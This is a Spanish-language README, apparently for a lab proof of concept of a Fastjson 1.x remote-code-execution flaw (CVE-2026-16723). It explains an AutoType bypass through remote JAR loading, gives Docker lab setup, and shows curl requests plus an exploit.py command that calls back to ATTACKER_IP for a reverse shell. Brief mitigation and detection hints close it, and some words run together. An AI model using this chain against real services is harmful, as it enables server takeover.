
Exploit PoC para RCE en Fastjson (CVE-2026-16723) que incluye generación automatizada de payloads JAR y entrega mediante JSON manipulado, evadiendo las restricciones de AutoType.
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 es una vulnerabilidad de ejecución remota de código (RCE) en Fastjson 1.x (1.2.68 – 1.2.83). Cuando Fastjson analiza JSON controlado por el atacante, un valor
@typemanipulado se convierte en una búsqueda de recurso de clase dentro decheckAutoType. En un fat-JAR ejecutable de Spring Boot, el cargador de clases resuelve ese nombre como una URLjar:http://y obtiene un JAR remoto (SSRF), luego carga una clase que lleva la anotación@JSONTypeaunque AutoType esté deshabilitado. Debido a que un JDK / Tomcat moderno rechaza el nombre binariojar:http://, la variante fiable inserta el JAR en la caché de la JVM y lo vuelve a leer a través dejar:file:/proc/self/fd/N, de modo que la clase se define y su inicializador estático se ejecuta, otorgando ejecución de código. AutoType permanece deshabilitado y no se requiere ningún gadget de classpath.
| Categoría | Versión |
|---|---|
| Vulnerable | Fastjson 1.2.68 ≤ versión ≤ 1.2.83 |
| Corregido | Migrar a Fastjson 2.x (no hay una versión 1.x corregida) |
El objetivo del laboratorio es una tienda pública (Northwind Store) cuya API de búsqueda vincula su cuerpo de solicitud con Fastjson. Todo es el valor predeterminado de fábrica de Fastjson: SafeMode desactivado, AutoType desactivado, empaquetado como un fat-JAR de Spring Boot.
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| Precondición | Estado en este laboratorio |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| fat-JAR ejecutable de Spring Boot | sí |
| Ruta de análisis JSON sin autenticación | POST /api/products/search |
| SafeMode / AutoType | predeterminado (ambos desactivados) |
El atacante y el objetivo se ejecutan en la misma red puente de Docker, por lo que el objetivo alcanza al atacante como una conexión saliente (no se publica ningún puerto adicional).
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py construye el JAR de payload, lo sirve, inicia un listener e imprime el cuerpo de la solicitud. Solo se requiere la dirección de callback.
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
Pega el cuerpo impreso en el endpoint de búsqueda (Burp Repeater o curl) y envíalo. La solicitud de búsqueda es una funcionalidad normal; solo su cuerpo JSON está manipulado.
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
El código se ejecuta como la cuenta de servicio. Recupera la flag a través de la shell obtenida:
whoami
com.alibaba:fastjson:1.2.83_noneautotype-Dfastjson.parser.safeMode=true@type que contienen patrones jar:http o jar:file / /proc/self/fd